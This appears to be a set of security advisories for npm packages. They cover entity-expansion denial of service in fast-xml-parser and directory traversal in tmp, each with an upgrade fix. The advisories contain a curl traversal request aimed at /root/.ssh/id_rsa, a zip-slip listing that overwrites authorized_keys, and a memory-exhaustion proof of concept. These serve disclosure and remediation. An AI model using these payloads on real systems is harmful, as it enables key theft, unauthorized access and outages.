Find, fix and prevent vulnerabilities in your code.

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.

Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade fast-xml-parser to version 5.5.6 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Directory Traversal via unsanitized input in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.6 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.

Note:

This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Remediation

Upgrade fast-xml-parser to version 5.5.7 or higher.

References

• GitHub Advisory
• GitHub Commit